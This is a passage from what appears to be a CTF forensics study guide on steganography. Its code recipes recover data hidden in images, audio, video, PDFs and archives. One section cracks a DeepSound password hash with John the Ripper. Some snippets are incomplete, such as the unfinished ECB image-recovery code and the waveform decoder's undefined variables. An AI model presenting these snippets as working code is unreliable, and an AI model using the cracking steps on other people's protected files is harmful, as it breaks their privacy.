back to uint8\nresult = Image.fromarray(np.round(acc).astype(np.uint8))\nresult.save('averaged.png')\n```\n\nUse histogram equalization to enhance contrast if the averaged image is faint:\n\n```python\nfrom PIL import ImageOps\nenhanced = ImageOps.equalize(result.convert('L'))\nenhanced.save('enhanced.png')\n```\n\n**Key insight:** Content obscured by motion, noise, or rapid changes across frames becomes visible when averaged. Extract frames with `ffmpeg -i video.mp4 frames/%04d.png` first. Works for hidden QR codes, text, and watermarks.\n\n---\n\n## JPEG XL TOC Permutation Steganography (BSidesSF 2026)\n\n**Pattern (image-progress):** JPEG XL's Table of Contents (TOC) supports a permutation field that reorders how AC groups (progressive scan tiles) are stored in the file. The convergence order during progressive decoding — which 256x256 tiles appear first as you truncate the file at increasing offsets — encodes the flag.\n\n**Decoding approach:**\n1. **Progressive truncation:** Truncate the JXL file at increasing byte offsets (e.g., every 1KB)\n2. **Decode each truncation:** Use `djxl` to decode each truncated file\n3. **Measure tile convergence:** Compare each decoded truncation against the full decode to determine which 256x256 tiles have converged (match the final image)\n4. **Read convergence order:** The order in which tiles reach their final state spells the flag\n\n```python\nimport subprocess\nimport numpy as np\nfrom PIL import Image\n\n# Full decode as reference\nsubprocess.run(['djxl', 'flag.jxl', 'full.png'])\nfull = np.array(Image.open('full.png'))\nh, w = full.shape[:2]\ntile_size = 256\ntiles_x = (w + tile_size - 1) // tile_size\ntiles_y = (h + tile_size - 1) // tile_size\n\n# Track when each tile converges\nconverged = {}\njxl_data = open('flag.jxl', 'rb').read()\n\nfor offset in range(1000, len(jxl_data), 1000):\n # Write truncated file\n with open('/tmp/trunc.jxl', 'wb') as f:\n f.write(jxl_data[:offset])\n\n # Try to decode (may fail for very short truncations)\n result = subprocess.run(['djxl', '/tmp/trunc.jxl', '/tmp/trunc.png'],\n capture_output=True)\n if result.returncode != 0:\n continue\n\n partial = np.array(Image.open('/tmp/trunc.png'))\n\n # Check which tiles match the full decode\n for ty in range(tiles_y):\n for tx in range(tiles_x):\n tile_id = ty * tiles_x + tx\n if tile_id in converged:\n continue\n y0, y1 = ty * tile_size, min((ty+1) * tile_size, h)\n x0, x1 = tx * tile_size, min((tx+1) * tile_size, w)\n if np.array_equal(partial[y0:y1, x0:x1], full[y0:y1, x0:x1]):\n converged[tile_id] = offset\n\n# Sort tiles by convergence order\norder = sorted(converged.items(), key=lambda x: x[1])\nflag_chars = [chr(tile_id) for tile_id, _ in order]\nprint('Flag:', ''.join(flag_chars))\n```\n\n**Alternative — direct TOC extraction:**\n```bash\n# Modified djxl with debug prints can extract TOC permutation directly\n# Look for the permutation array in the JXL frame header\n# The TOC permutation maps: stored_order[i] -> logical_group[i]\n# Inverse gives: logical_group -> stored_order (convergence priority)\n```\n\n**JPEG XL progressive structure:**\n- **DC groups:** Low-frequency data (converges first, gives blurry preview)\n- **AC groups:** High-frequency detail, stored per 256x256 tile\n- **TOC permutation:** Reorders the storage of AC groups — controls which tiles get detail first during progressive loading\n- **Lehmer code:** JXL encodes the permutation as a Lehmer code sequence in the TOC header\n\n**Key insight:** JPEG XL's TOC permutation is a legitimate feature for progressive rendering optimization (prioritize important image regions). As a steganographic channel, it's invisible — the fully decoded image looks identical regardless of permutation. The hidden data is only revealed by observing the progressive convergence order, which requires truncating the file at multiple points.\n\n**Detection:** JXL file where progressive rendering shows tiles appearing in an unusual order (e.g., spelling text). Challenge mentions \"progressive\", \"convergence\", or \"order matters\".\n\n**References:** BSidesSF 2026 \"image-progress\"\n\n---\n\n## Arnold's Cat Map Image Descrambling (Nuit du Hack 2017)\n\nArnold's Cat Map is a chaotic area-preserving transformation that is periodic — iterating it enough times restores the original image. When an image appears scrambled with a noise-like pattern but retains the correct dimensions and color histogram, suspect a Cat Map scramble.\n\n```python\nfrom PIL import Image\nimport numpy as np\n\nimg = np.array(Image.open('scrambled.png'))\nN = img.shape[0] # Must be square\n\ndef arnold_cat_map(image, n):\n \"\"\"Apply Arnold's Cat Map transformation\"\"\"\n result = np.zeros_like(image)\n for x in range(n):\n for y in range(n):\n nx = (2*x + y) % n\n ny = (x + y) % n\n result[nx, ny] = image[x, y]\n return result\n\n# Iterate until original image reappears (period depends on N)\ncurrent = img.copy()\nfor i in range(1, N * N):\n current = arnold_cat_map(current, N)\n Image.fromarray(current).save(f'frame_{i:04d}.png')\n # Check if we've returned to original (or visually inspect)\n```\n\n**Key insight:** Arnold's Cat Map is periodic with period dividing `3*N` for most image sizes. Iterating the forward transform eventually restores the original. For large images, compute the period analytically via `lcm` of matrix eigenvalue orders in `Z/NZ` rather than brute-forcing all iterations.\n\n**Detection:** Square image that looks like uniformly scrambled noise but has a plausible color distribution. Challenge mentions \"cat\", \"Arnold\", \"chaotic\", or \"permutation\".\n\n---\n\n## High-Resolution SSTV Custom FM Demodulation (PlaidCTF 2017)\n\nWhen a WAV file contains an SSTV signal at higher-than-standard sample rate (e.g., 96kHz vs standard 2.3kHz bandwidth), standard SSTV decoders fail on the high-frequency content. Use custom FM demodulation.\n\n```python\n# Method 1: GNU Radio\n# Hilbert Transform -> Quadrature Demod -> low-pass filter\n\n# Method 2: Manual arccos + derivative (handles clipping)\nimport numpy as np\nfrom scipy.io import wavfile\n\nrate, data = wavfile.read('signal.wav')\n# Normalize to [-1, 1]\ndata = data / np.max(np.abs(data))\n# Clamp to valid arccos range\ndata = np.clip(data, -0.999, 0.999)\n# Instantaneous frequency via arccos derivative\nphase = np.arccos(data)\nfreq = np.diff(phase) * rate / (2 * np.pi)\n# Map frequency to pixel intensity (1500-2300Hz typical SSTV range)\npixels = np.clip((freq - 1500) / 800 * 255, 0, 255).astype(np.uint8)\n```\n\n**Key insight:** Standard SSTV decoders (QSSTV, MMSSTV) assume standard bandwidth (~2.3kHz). High-sample-rate recordings may contain wider-bandwidth signals that these decoders truncate. Manual FM demodulation via `arccos` + differentiation (avoiding Hilbert transform artifacts on clipped signals) recovers the full frequency range.\n\n**Detection:** WAV file at unusually high sample rate (48kHz, 96kHz) where standard SSTV decoders produce garbled or partial output. Spectrogram shows frequency-modulated signal structure.\n\n---\n\n## MJPEG Extra Bytes After FFD9 Steganography (PoliCTF 2017)\n\nMJPEG video frames that contain extra bytes after the JPEG end-of-image marker (FFD9) hide data in the padding.\n\n```python\n# Split MJPEG into individual frames\nframes = open('video.mjpeg', 'rb').read().split(b'\\xff\\xd8')\n\nhidden = b\"\"\nfor frame in frames:\n if not frame: continue\n frame = b'\\xff\\xd8' + frame\n # Find JPEG EOI marker\n eoi = frame.find(b'\\xff\\xd9')\n if eoi != -1:\n extra = frame[eoi + 2:] # bytes after FFD9\n if extra:\n hidden += extra\n\nprint(hidden.decode(errors='ignore'))\n```\n\n**Key insight:** JPEG decoders stop at the FFD9 (End of Image) marker and ignore trailing bytes. In MJPEG streams, each frame is a complete JPEG — appending 1+ extra bytes after each frame's FFD9 creates a covert channel invisible to video players.\n\n**Detection:** MJPEG file where individual frames are slightly larger than expected. `binwalk` on raw MJPEG may show repeated JPEG headers. Hex dump shows non-zero data between FFD9 and the next FFD8.\n\n---\n\n## EXIF Zlib Data with Non-Default LSB Pixel Pattern (ASIS CTF Finals 2017)\n\nA JPG's EXIF `ImageDescription` field contains zlib-compressed then base64-encoded data. Detect via the `\\x78\\x9C` zlib magic bytes after base64 decoding. After decompression, the hint references the Stegano Python library with a `triangular_numbers` generator for non-sequential pixel selection (positions 1, 3, 6, 10, ...).\n\n```bash\n# Step 1: Extract EXIF ImageDescription\nexiftool -ImageDescription image.jpg\n# Or:\npython3 -c \"\nfrom PIL import Image\nimg = Image.open('image.jpg')\ndesc = img._getexif()[270] # Tag 270 = ImageDescription\nprint(repr(desc))\n\"\n\n# Step 2: Base64-decode, then zlib-decompress\npython3 -c \"\nimport base64, zlib\ndesc = '\u003cexif_description_value>'\ndecoded = base64.b64decode(desc)\nprint(zlib.decompress(decoded).decode())\n\"\n\n# Step 3: Extract hidden data using Stegano with triangular_numbers generator\npython3 -c \"\nfrom stegano import lsb\nfrom stegano.lsb import generators\nprint(lsb.reveal('image.png', generators.triangular_numbers()))\n\"\n```\n\n**Key insight:** Standard LSB tools (zsteg, stegsolve) fail with non-sequential pixel patterns. The Stegano library supports custom generators; always check EXIF metadata for hints about which generator to use. The `\\x78\\x9C` bytes are the deflate magic — a reliable indicator of zlib-compressed content.\n\n---\n\n## PDF Cross-Reference Table Covert Channel (SEC-T CTF 2017)\n\nPDF xref table entries normally use generation number 0 (live objects) or 65535 (free/deleted). Non-standard generation numbers encode data: read each non-zero, non-65535 generation number in order, interpret as hex -> ASCII characters (may need to reverse the string).\n\n```bash\n# Inspect raw xref entries with pdf-parser.py\npython pdf-parser.py --stats suspicious.pdf\npython pdf-parser.py --type /XRef suspicious.pdf\n\n# Or read the raw xref table directly\npython3 -c \"\nwith open('suspicious.pdf', 'rb') as f:\n data = f.read().decode('latin-1')\n\n# Find xref section\nxref_idx = data.rfind('xref')\nxref_section = data[xref_idx:xref_idx+2000]\ngen_numbers = []\nfor line in xref_section.splitlines():\n parts = line.split()\n if len(parts) == 3 and parts[2] in ('n', 'f'):\n gen = int(parts[1])\n if gen not in (0, 65535):\n gen_numbers.append(gen)\n\n# Convert hex values to ASCII\nflag = bytes.fromhex(''.join(f'{g:02x}' for g in gen_numbers)).decode()\nprint(flag)\n# Also try reversed: print(flag[::-1])\n\"\n```\n\n**Key insight:** PDF xref generation numbers are rarely validated by viewers, making them a low-noise steganographic channel. Any value other than 0 (live) or 65535 (deleted) is suspicious. Use `pdf-parser.py --raw` to inspect raw xref entries without parser normalization.\n\n---\n\n## ANSI Escape Code Steganography in Network Capture (Square CTF 2017)\n\nNetwork packet data contains ANSI escape sequences (color codes, cursor movement). Raw hex and strings tools show garbled output. Pipe raw bytes through a terminal pager (`more`, `less -r`) to render the escape codes — the flag becomes visible as colored or positioned text.\n\n```bash\n# Extract raw TCP stream payload\ntshark -r capture.pcap -q -z \"follow,tcp,raw,0\" | \\\n tail -n +7 | tr -d '\\n' | xxd -r -p > stream.bin\n\n# Render ANSI escape codes (simplest approach)\nmore stream.bin\n# or\ncat stream.bin | less -r\n\n# Alternative: extract data field directly\ntshark -r capture.pcap -T fields -e data | xxd -r -p | more\n```\n\nANSI escape patterns to recognize:\n- `\\x1b[\u003cn>m` — color/attribute codes\n- `\\x1b[\u003crow>;\u003ccol>H` — cursor position\n- `\\x1b[\u003cn>A/B/C/D` — cursor movement (up/down/right/left)\n\n**Key insight:** ANSI escape sequences encode visual information only revealed by terminal rendering. Always try `more` or `less -r` if content looks like terminal output. Cursor-positioning sequences can spell out text that only appears correct on a terminal.\n\n---\n\n## Pixel-Wise ECB Deduplication for Image Recovery (BackdoorCTF 2017)\n\nAn image is encrypted by replacing each pixel's value with a hash (ECB-mode pixel encryption). Since the pixel value space is small (256 for grayscale, or limited palette), precompute a hash-to-pixel lookup table and remap each hash value back to the original pixel.\n\n```python\nfrom PIL import Image\nimport hashlib\n\nimg = Image.open('encrypted.png').convert('L') # Grayscale\npixels = list(img.getdata())\n\n# Build lookup table: hash(pixel) -> pixel value\n# The encryption maps each unique pixel value to a unique hash\n# Since the space is small (256 values), enumerate all possible originals\nlookup = {}\nfor original_val in range(256):\n # Determine which hash function was used (MD5, SHA1, etc.)\n h = hashlib.md5(bytes([original_val])).hexdigest()\n lookup[h] = original_val\n\n# Reconstruct: each \"pixel\" in encrypted image is actually a hash index\n# For palette-based images, map color index -> original pixel\nunique_colors = list(set(pixels))\ncolor_map = {}\nfor i, color in enumerate(unique_colors):\n # ECB: identical pixels -> identical cipher values\n # Count unique values to confirm small space\n pass\n\n# Simpler: if encrypted values are small integers (0-255 remapped)\n# The structure is preserved — just find the right permutation\nreconstructed = Image.new('L', img.size)\n# Map each encrypted value back using the lookup\n```\n\n**Key insight:** ECB-mode pixel encryption leaks structure via identical ciphertexts for identical plaintext pixels. With only 256 possible grayscale values, the full lookup table is trivial to precompute. The encrypted image will show the same shapes/edges as the original — recognizable structure confirms ECB mode.\n\n---\n\n## Multi-Color QR Code Binary Mapping Brute Force (STEM CTF 2019)\n\n**Pattern:** A QR-like image uses N colors instead of black/white. A valid QR code requires only two states (black=1, white=0), so each color must map to one of those. With N non-trivial colors, iterate all 2^N binary partitions and try to decode each candidate. Typical N=6 produces 64 candidates; 3 of the 64 often decode (redundancy baked into QR error correction).\n\n```python\nfrom PIL import Image\nfrom itertools import product\nimport subprocess, os\n\nimg = Image.open('QvR.png').convert('RGB')\npx = img.load()\nw, h = img.size\n\n# Collect distinct non-pure colors (ignore black/white which are unambiguous)\npalette = set()\nfor y in range(h):\n for x in range(w):\n c = px[x, y]\n if c not in ((0, 0, 0), (255, 255, 255)):\n palette.add(c)\npalette = sorted(palette) # deterministic order\nprint(f'{len(palette)} variable colors -> {2**len(palette)} attempts')\n\nfor bits in product([0, 1], repeat=len(palette)):\n mapping = dict(zip(palette, bits))\n out = Image.new('1', (w, h), 1)\n op = out.load()\n for y in range(h):\n for x in range(w):\n c = px[x, y]\n if c == (0, 0, 0): v = 0\n elif c == (255, 255, 255): v = 1\n else: v = mapping[c]\n op[x, y] = v\n fn = f'try_{\"\".join(map(str, bits))}.png'\n out.save(fn)\n r = subprocess.run(['zbarimg', '-q', fn], capture_output=True, text=True)\n if r.stdout.strip():\n print(fn, '->', r.stdout.strip())\n```\n\n**Key insight:** QR codes are strictly binary — any multi-color image that \"looks like\" a QR is hiding a 2^N coloring. Because QR has heavy Reed-Solomon error correction, multiple partitions can decode (each carries a different message in the same physical grid). Always try all 2^N mappings; with N\u003c=8 the brute force is negligible and `zbarimg` filters the valid ones automatically.\n\n**References:** STEM CTF: Cyber Challenge 2019 — QvR Code, writeup 13375\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":20921,"content_sha256":"14d28c569fe3325b978d4007bc5eeb678d0b8750f98e10f8f0584dae051f64de"},{"filename":"stego-advanced.md","content":"# CTF Forensics - Advanced Steganography\n\nSee also: [stego-advanced-2.md](stego-advanced-2.md) for video frame techniques, JPEG XL TOC permutation, Arnold's Cat Map, SSTV FM demodulation, MJPEG steganography, EXIF/Stegano pixel patterns, PDF xref covert channels, ANSI escape code stego, and ECB image recovery.\n\n## Table of Contents\n- [FFT Frequency Domain Steganography (Pragyan 2026)](#fft-frequency-domain-steganography-pragyan-2026)\n- [SSTV Red Herring + LSB Audio Stego (0xFun 2026)](#sstv-red-herring--lsb-audio-stego-0xfun-2026)\n- [DotCode Barcode via SSTV (0xFun 2026)](#dotcode-barcode-via-sstv-0xfun-2026)\n- [DTMF Audio Decoding](#dtmf-audio-decoding)\n- [Custom Frequency DTMF / Dual-Tone Keypad Encoding (EHAX 2026)](#custom-frequency-dtmf--dual-tone-keypad-encoding-ehax-2026)\n- [Multi-Track Audio Differential Subtraction (EHAX 2026)](#multi-track-audio-differential-subtraction-ehax-2026)\n- [Cross-Channel Multi-Bit LSB Steganography (ApoorvCTF 2026)](#cross-channel-multi-bit-lsb-steganography-apoorvctf-2026)\n- [Audio FFT Musical Note Identification (BYPASS CTF 2025)](#audio-fft-musical-note-identification-bypass-ctf-2025)\n- [Audio Metadata Octal Encoding (BYPASS CTF 2025)](#audio-metadata-octal-encoding-bypass-ctf-2025)\n- [Nested Tar Archive with Whitespace Encoding (UTCTF 2026)](#nested-tar-archive-with-whitespace-encoding-utctf-2026)\n- [DeepSound Audio Steganography with Password Cracking (INShAck 2018)](#deepsound-audio-steganography-with-password-cracking-inshack-2018)\n- [Audio Waveform Binary Encoding (BackdoorCTF 2013)](#audio-waveform-binary-encoding-backdoorctf-2013)\n- [Audio Spectrogram Hidden QR Code (BaltCTF 2013)](#audio-spectrogram-hidden-qr-code-baltctf-2013)\n- [Byte-Reversed .docx ZIP Bidirectional Archive (Security Fest CTF 2018)](#byte-reversed-docx-zip-bidirectional-archive-security-fest-ctf-2018)\n- [MIDI Note-On/Note-Off Pitch Pair Encoding (X-MAS CTF 2018)](#midi-note-onnote-off-pitch-pair-encoding-x-mas-ctf-2018)\n\n---\n\n## FFT Frequency Domain Steganography (Pragyan 2026)\n\n**Pattern (H@rDl4u6H):** Image encodes data in frequency domain via 2D FFT.\n\n**Decoding workflow:**\n```python\nimport numpy as np\nfrom PIL import Image\n\nimg = np.array(Image.open(\"image.png\")).astype(float)\nF = np.fft.fftshift(np.fft.fft2(img))\nmag = np.log(1 + np.abs(F))\n\n# Look for patterns: concentric rings, dots at specific positions\n# Bright peak = 0 bit, Dark (no peak) = 1 bit\ncy, cx = mag.shape[0]//2, mag.shape[1]//2\nradii = [100 + 69*i for i in range(21)] # Example spacing\nangles = [0, 22.5, 45, 67.5, 90, 112.5, 135, 157.5]\nTHRESHOLD = 13.0\n\nbits = []\nfor r in radii:\n byte_val = 0\n for a in angles:\n fx = cx + r * np.cos(np.radians(a))\n fy = cy - r * np.sin(np.radians(a))\n bit = 0 if mag[int(round(fy)), int(round(fx))] > THRESHOLD else 1\n byte_val = (byte_val \u003c\u003c 1) | bit\n bits.append(byte_val)\n```\n\n**Identification:** Challenge mentions \"transform\", poem about \"frequency\", or image looks blank/noisy. Try FFT visualization first.\n\n---\n\n## SSTV Red Herring + LSB Audio Stego (0xFun 2026)\n\n**Pattern (Melodie):** WAV contains SSTV signal (Scottie 1) that decodes to \"SEEMS LIKE A DEADEND\". Real flag in 2-bit LSB of audio samples.\n\n```bash\n# Decode SSTV (red herring)\nqsstv # Will show decoy message\n\n# Extract real flag from LSB\npip install stego-lsb\nstegolsb wavsteg -r -i audio.wav -o out.bin -n 2 -b 1000\n```\n\n**Lesson:** Obvious signals may be decoys. Always check LSB even when another encoding is found.\n\n---\n\n## DotCode Barcode via SSTV (0xFun 2026)\n\n**Pattern (Dots):** SSTV decoding produces dot pattern image. Not QR — it's DotCode format.\n\n**Identification:** Dot pattern that isn't a standard QR code. DotCode is a 2D barcode optimized for high-speed printing.\n\n**Tool:** Aspose online DotCode reader (free).\n\n---\n\n## DTMF Audio Decoding\n\n**Pattern (Phone Home):** Audio file contains phone dialing tones encoding data.\n\n```bash\n# Decode DTMF tones\nsox phonehome.wav -t raw -r 22050 -e signed-integer -b 16 -c 1 - | \\\n multimon-ng -t raw -a DTMF -\n```\n\n**Post-processing:** Phone number may contain octal-encoded ASCII after delimiter (#):\n```python\n# Convert octal groups to ASCII\noctal_groups = [\"115\", \"145\", \"164\", \"141\"] # M, e, t, a\nflag = ''.join(chr(int(g, 8)) for g in octal_groups)\n```\n\n---\n\n## Custom Frequency DTMF / Dual-Tone Keypad Encoding (EHAX 2026)\n\n**Pattern (Quantum Message):** Audio with dual-tone sequences at non-standard frequencies, aligned at regular intervals (e.g., every 1 second). Hints about \"harmonic oscillators\" or physics point to custom frequency design.\n\n**Identification:** Spectrogram shows two distinct frequency sets that don't match standard DTMF (697-1633 Hz). Look for evenly-spaced rows/columns of frequency tones.\n\n**Decoding workflow:**\n```python\nimport numpy as np\nfrom scipy.io import wavfile\n\nrate, audio = wavfile.read('challenge.wav')\n\n# 1. Generate spectrogram to identify frequency grid\n# Use ffmpeg: ffmpeg -i challenge.wav -lavfi showspectrumpic=s=1920x1080 spec.png\n\n# 2. Map frequencies to keypad (custom grid, NOT standard DTMF)\n# Example: rows = [301, 902, 1503, 2104] Hz, cols = [2705, 3306, 3907] Hz\n# Forms 4x3 keypad -> digits 0-9 + symbols\n\n# 3. Extract tone pairs per time window\nwindow_size = rate # 1 second per symbol\nfor i in range(0, len(audio), window_size):\n segment = audio[i:i+window_size]\n freqs = np.fft.rfftfreq(len(segment), 1/rate)\n magnitude = np.abs(np.fft.rfft(segment))\n # Find two dominant peaks -> map to row/col -> digit\n\n# 4. Convert digit sequence to ASCII\n# Split digits into variable-length groups (ASCII range 32-126)\n# E.g., \"72101108108111\" -> [72, 101, 108, 108, 111] -> \"Hello\"\ndef digits_to_ascii(digits):\n result, i = [], 0\n while i \u003c len(digits):\n for length in [2, 3]: # ASCII codes are 2-3 digits\n if i + length \u003c= len(digits):\n val = int(digits[i:i+length])\n if 32 \u003c= val \u003c= 126:\n result.append(chr(val))\n i += length\n break\n else:\n i += 1\n return ''.join(result)\n```\n\n**Key insight:** When tones don't match standard DTMF frequencies, generate a spectrogram first to identify the custom frequency grid. The mapping is challenge-specific.\n\n---\n\n## Multi-Track Audio Differential Subtraction (EHAX 2026)\n\n**Pattern (Penguin):** MKV/video file with two nearly-identical audio tracks. Hidden data is embedded as a tiny difference between the tracks, invisible when listening to either individually.\n\n**Identification:**\n- `ffprobe` reveals multiple audio streams (e.g., two stereo FLAC tracks)\n- Metadata may contain a decoy flag (e.g., in comments)\n- Track labels may be misleading (e.g., stereo labeled as \"5.1 surround\")\n- `sox --info` / `sox -n stat` shows nearly identical RMS, amplitude, and frequency statistics for both tracks\n\n**Extraction workflow:**\n```bash\n# 1. Extract both audio tracks\nffmpeg -i challenge.mkv -map 0:a:0 -c copy track0.flac\nffmpeg -i challenge.mkv -map 0:a:1 -c copy track1.flac\n\n# 2. Convert to WAV for processing\nffmpeg -i track0.flac track0.wav\nffmpeg -i track1.flac track1.wav\n\n# 3. Subtract: invert one track and mix (cancels shared content)\nsox -m track0.wav \"|sox track1.wav -p vol -1\" diff.wav\n\n# 4. Normalize the difference signal\nsox diff.wav diff_norm.wav gain -n -3\n\n# 5. Generate spectrogram to read the flag\nsox diff_norm.wav -n spectrogram -o spectrogram.png -X 2000 -Y 1000 -z 100 -h\n\n# 6. Optional: filter to isolate flag frequency range\nsox diff_norm.wav filtered.wav sinc 5000-12000\nsox filtered.wav -n spectrogram -o filtered_spec.png -X 2000 -Y 1000 -z 100 -h\n```\n\n**Key insight:** When two audio tracks are nearly identical, subtracting one from the other (phase inversion + mix) cancels shared content and isolates hidden data. The flag is typically encoded as text in the spectrogram of the difference signal, visible in a specific frequency band (e.g., 5-12 kHz).\n\n**Common traps:**\n- Decoy flags in metadata/comments — always verify\n- Mislabeled channel configurations (stereo as 5.1)\n- Flag may only be visible in a narrow time window — use high-resolution spectrogram (`-X 2000+`)\n\n---\n\n## Cross-Channel Multi-Bit LSB Steganography (ApoorvCTF 2026)\n\n**Pattern (Beneath the Armor):** Standard LSB tools (zsteg, stegsolve) fail because different bit positions are used per RGB channel: Red channel bit 0, Green channel bit 1, Blue channel bit 2.\n\n```python\nfrom PIL import Image\n\nimg = Image.open(\"challenge.png\")\npixels = img.load()\nbits = []\nfor y in range(img.height):\n for x in range(img.width):\n r, g, b = pixels[x, y][:3]\n bits.append((r >> 0) & 1) # Red: bit 0\n bits.append((g >> 1) & 1) # Green: bit 1\n bits.append((b >> 2) & 1) # Blue: bit 2\n\n# Pack 3 bits per pixel into bytes\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n byte = 0\n for j in range(8):\n byte = (byte \u003c\u003c 1) | bits[i + j]\n data.append(byte)\nprint(data.decode('ascii', errors='ignore'))\n```\n\n**Key insight:** When standard LSB tools find nothing, the data may use different bit positions per channel. The hint \"cycles\" or \"modular\" suggests cycling through bit positions (0→1→2) across channels. Always try non-standard bit combinations: R[0]G[1]B[2], R[1]G[2]B[0], R[2]G[0]B[1], etc.\n\n**Detection:** Standard `zsteg -a` and `stegsolve` produce no results on an image that metadata hints contain hidden data.\n\n---\n\n## Audio FFT Musical Note Identification (BYPASS CTF 2025)\n\n**Pattern (Piano):** Identify dominant frequencies via FFT (Fast Fourier Transform), map to musical notes (A-G), then read the letter names as a word.\n\n**Technique:** Perform FFT on audio, identify dominant frequencies, map to musical notes.\n\n```python\nimport numpy as np\nfrom scipy.io import wavfile\n\nrate, audio = wavfile.read('challenge.wav')\nif audio.ndim > 1:\n audio = audio[:, 0] # mono\n\n# FFT to find dominant frequencies\nfreqs = np.fft.rfftfreq(len(audio), 1/rate)\nmagnitude = np.abs(np.fft.rfft(audio))\n\n# Find top peaks\npeak_indices = np.argsort(magnitude)[-20:]\npeak_freqs = sorted(set(round(freqs[i]) for i in peak_indices if freqs[i] > 20))\n\n# Musical note frequency mapping (A4 = 440 Hz)\nNOTE_FREQS = {\n 'C4': 261.63, 'D4': 293.66, 'E4': 329.63, 'F4': 349.23,\n 'G4': 392.00, 'A4': 440.00, 'B4': 493.88,\n 'C5': 523.25, 'D5': 587.33, 'E5': 659.25, 'F5': 698.46,\n 'G5': 783.99, 'A5': 880.00, 'B5': 987.77,\n}\n\ndef freq_to_note(freq):\n return min(NOTE_FREQS.items(), key=lambda x: abs(x[1] - freq))[0]\n\nnotes = [freq_to_note(f) for f in peak_freqs]\n# Extract letter names: B, A, D, F, A, C, E → \"BADFACE\"\nanswer = ''.join(n[0] for n in notes)\nprint(f\"Notes: {notes}\")\nprint(f\"Answer: {answer}\")\n```\n\n**Extract and examine audio metadata** using `exiftool audio.mp3` for encoded hints in comment fields (e.g., octal-separated values → base64 → decoded hint).\n\n**Key insight:** Musical note names (A-G) can spell words. When a challenge involves music/piano, identify dominant frequencies via FFT and read the note letter names as text.\n\n---\n\n## Audio Metadata Octal Encoding (BYPASS CTF 2025)\n\n**Pattern (Piano metadata):** Audio file metadata (exiftool comment field) contains underscore-separated numbers representing octal-encoded ASCII values (digits 0-7 only).\n\n```python\n# Extract and decode octal metadata\nimport subprocess, base64\n\n# Get metadata comment\ncomment = \"103_137_63_157_144_145_144_40_162_145_154_151_143\"\noctal_values = comment.split('_')\ndecoded = ''.join(chr(int(v, 8)) for v in octal_values)\n\n# May decode to base64, requiring another layer\nresult = base64.b64decode(decoded).decode()\nprint(result)\n```\n\n**Key insight:** When metadata contains underscore-separated numbers, try octal (digits 0-7 only), decimal, or hex interpretation. Multi-layer encoding (octal → base64 → plaintext) is common.\n\n---\n\n## Nested Tar Archive with Whitespace Encoding (UTCTF 2026)\n\n**Pattern (Silent Archive):** Deeply nested tar archives where data is encoded in whitespace characters (spaces, tabs, newlines) within file names or content.\n\n**Detection:** Archive extracts to another archive (tar-in-tar chain). File content appears empty but contains invisible whitespace characters.\n\n**Decoding workflow:**\n```python\nimport tarfile\nimport os\n\n# 1. Recursively extract nested tar archives\ndef extract_all(path, depth=0):\n if depth > 100: # Guard against infinite nesting\n return\n if tarfile.is_tarfile(path):\n with tarfile.open(path) as tf:\n tf.extractall(f'layer_{depth}')\n for member in tf.getmembers():\n extract_all(f'layer_{depth}/{member.name}', depth + 1)\n\n# 2. Collect whitespace from file names or content\nwhitespace_data = []\nfor root, dirs, files in os.walk('layer_0'):\n for f in files:\n path = os.path.join(root, f)\n with open(path, 'rb') as fh:\n content = fh.read()\n # Check for whitespace-only content\n if content.strip() == b'':\n for byte in content:\n if byte == 0x20: # space\n whitespace_data.append('0')\n elif byte == 0x09: # tab\n whitespace_data.append('1')\n\n# 3. Convert binary from whitespace\nbits = ''.join(whitespace_data)\nmessage = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits)-7, 8))\nprint(message.decode(errors='replace'))\n```\n\n**Whitespace encoding variants:**\n- Space = 0, Tab = 1 (binary encoding)\n- Whitespace Steganography: trailing spaces/tabs at end of lines\n- Zero-width characters (U+200B, U+200C, U+FEFF) in Unicode text\n- Number of spaces between words encodes data\n\n**Key insight:** \"Silent\" or \"invisible\" hints point to whitespace encoding. Use `xxd` or `cat -A` to reveal hidden whitespace characters. Deeply nested archives are misdirection — the data is in the whitespace, not the nesting depth.\n\n---\n\n## DeepSound Audio Steganography with Password Cracking (INShAck 2018)\n\n**Pattern:** Two-phase audio steganography: part 1 visible in Audacity spectrogram, part 2 hidden with DeepSound tool (password-protected). Use `deepsound2john.py` to extract the hash, crack with John, then retrieve hidden files.\n\n```bash\n# Phase 1: Check spectrogram for visible text\nsox audio.wav -n spectrogram -o spec.png\n\n# Phase 2: Extract DeepSound password hash\npython3 deepsound2john.py audio.wav > hash.txt\n\n# Crack password\njohn --wordlist=rockyou.txt hash.txt\n\n# Extract hidden file with DeepSound GUI or CLI using cracked password\n```\n\n**DeepSound detection:**\n```python\n# DeepSound embeds a signature in WAV files\n# Check for DeepSound header pattern in audio data\nwith open('audio.wav', 'rb') as f:\n data = f.read()\n # DeepSound uses specific byte patterns in the audio data section\n # deepsound2john.py from John the Ripper's bleeding-jumbo branch\n # handles detection and hash extraction automatically\n```\n\n**Tool installation:**\n```bash\n# deepsound2john.py is part of John the Ripper bleeding-jumbo\ngit clone https://github.com/openwall/john.git\n# Script located at: john/run/deepsound2john.py\n\n# DeepSound GUI (Windows): http://jpinsoft.net/deepsound/\n# For Linux: run under Wine or use the extracted hash + john approach\n```\n\n**Key insight:** DeepSound embeds files in WAV audio with optional AES encryption. The password hash is extractable with `deepsound2john.py` from John the Ripper's bleeding-jumbo branch. Always check both spectrogram (visual stego) and DeepSound (data stego) in audio challenges.\n\n**Detection:** WAV file that seems normal but `deepsound2john.py` produces a hash. Challenge has two-part structure where first part is easy (spectrogram) and second part requires a tool. Challenge mentions \"layers\", \"hidden\", or \"deep\".\n\n---\n\n## Audio Waveform Binary Encoding (BackdoorCTF 2013)\n\n**Pattern:** WAV file contains two distinct waveform shapes representing binary 0 and 1. Group 8 bits into bytes and decode as ASCII.\n\n```python\nimport wave, struct\nwf = wave.open('audio.wav', 'rb')\nframes = wf.readframes(wf.getnframes())\nsamples = struct.unpack(f'{len(frames)//2}h', frames)\n\n# Identify two distinct wave patterns (e.g., positive peak vs flat)\n# Segment audio into fixed-length windows, classify each as 0 or 1\nbits = ''\nwindow = len(samples) // num_bits\nfor i in range(num_bits):\n segment = samples[i*window:(i+1)*window]\n bits += '1' if max(segment) > threshold else '0'\n\n# Decode binary to ASCII\nflag = ''.join(chr(int(bits[i:i+8], 2)) for i in range(0, len(bits)-7, 8))\n```\n\n**Key insight:** Open in Audacity and zoom in — two visually distinct wave patterns alternate. Each pattern represents one bit. Count the patterns, group into 8-bit bytes, decode as ASCII.\n\n---\n\n## 